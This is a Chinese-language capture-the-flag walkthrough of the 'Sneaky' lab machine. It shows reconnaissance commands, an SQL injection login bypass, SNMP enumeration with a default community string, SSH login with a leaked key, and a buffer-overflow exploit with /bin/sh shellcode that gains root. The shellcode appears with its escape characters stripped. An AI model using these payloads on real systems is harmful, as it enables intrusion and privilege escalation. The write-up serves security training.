Sneaky

admin 2024年2月26日11:42:40评论9 views字数 1913阅读6分22秒阅读模式
Sneaky

0x01 侦查

端口扫描

首先使用 nmap 进行全端口扫描

nmap -Pn -p- 10.10.10.20 -oA Sneaky.nmap --min-rate=1000

针对开放端口进一步扫描

nmap -Pn -p 80 -sV -sC 10.10.10.20
Sneaky

访问网站页面显示正在开发中

Sneaky

目录扫描

使用 gobuster 对进行目录扫描,成功找到/dev目录

gobuster dir -u http://10.10.10.20 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 100 --no-error
Sneaky

访问为用户登录界面

Sneaky

0x02 上线[thrasivoulos]

万能密码

登录用户失败提示Not Found

Sneaky

使用万能密码成功登录系统

root' or '1'='1';--+
Sneaky

系统中存在用户名adminthrasivoulos和名为My Key的链接

Sneaky

点击 My Key 为 SSH 私钥,但目标主机并没有开放 SSH 服务

Sneaky

SNMP弱口令

使用 nmap 进行 UDP 端口扫描,成功发现 SNMP 弱口令

nmap -Pn -p 161 -sV -sU -sC 10.10.10.20 -oA Sneaky_UDP.nmap --min-rate=1000
Sneaky

使用 snmpwalk 获取 SNMP 信息

snmpwalk -v 2c -c public 10.10.10.20
Sneaky

通过以下两个 OID 成功找到 IPv6 地址,但结果采用十进制输出

snmpbulkwalk -v 2c -c public 10.10.10.20 iso.3.6.1.2.1.4.34.1.5.2.16
snmpbulkwalk -v 2c -c public 10.10.10.20 1.3.6.1.2.1.4.34.1.3
Sneaky

下载 snmp-mibs-downloader 修改配置文件

apt-get install snmp-mibs-downloader
vim /etc/snmp/snmp.conf #注释 mibs

再次扫描后把结果转为十六进制

Sneaky

SSH私钥登录

下载 SSH 私钥至本地并修改文件权限

wget http://10.10.10.20/dev/sshkeyforadministratordifficulttimes -O sshkey
chmod 400 sshkey

利用 SSH 私钥成功登录IPv6地址

ssh -i sshkey thrasivoulos@dead:beef:0000:0000:0250:56ff:feb9:4075
Sneaky

在当前用户目录下拿到第一个 flag

Sneaky

0x03 权限提升[root]

信息收集

上传 linpeas 进行信息收集,发现当前用户拥有 sudo 权限

Sneaky

同时找到存在 SUID 文件/usr/local/bin/chal,经测试程序输入400个字符会出现报错,可能存在缓冲区溢出漏洞

Sneaky

缓冲区溢出

使用 MSF 生成随机400个字符用于确定偏移量

msf-pattern_create -l 400
Sneaky

在目标主机中使用 gdb 进行调试,成功拿到报错 Hex 编码

gdb ./chal
Sneaky

确定偏移量为 362

msf-pattern_offset -q 316d4130
Sneaky

验证偏移量是否正确,验证成功且找到 ESP 为0xbffff570

gdb > r $(python2 -c 'print "A"*362 + "B"*4')
gdb > i r
Sneaky

正常情况下可使用以下 payload 提权

./chal $(python -c 'print "A"*362 + "x80xf5xffxbf" + "x90"*16 + "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x89xc1x89xc2xb0x0bxcdx80x31xc0x40xcdx80"')

但使用 gdb 调试后发现0xbffff570后存在诸多坏字符

x/100x $esp-400
Sneaky

最后一个坏字符出现在0xbffff735,因此 payload 无法生效

Sneaky

考虑到/bin/sh的 shellcode 长度为 23 位且存在坏字符,计算 EIP 范围为0xbffff7420xbffff899之间,执行 payload 成功拿到 root 权限

./chal $(python -c "print 'x90'*339 + 'x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x89xc1x89xc2xb0x0bxcdx80' + 'x42xf7xffxbf'")

在管理员目录下拿到第二个flag

Sneaky


原文始发于微信公众号(A11Safe):Sneaky

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月26日11:42:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Sneakyhttps://cn-sec.com/archives/2524637.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息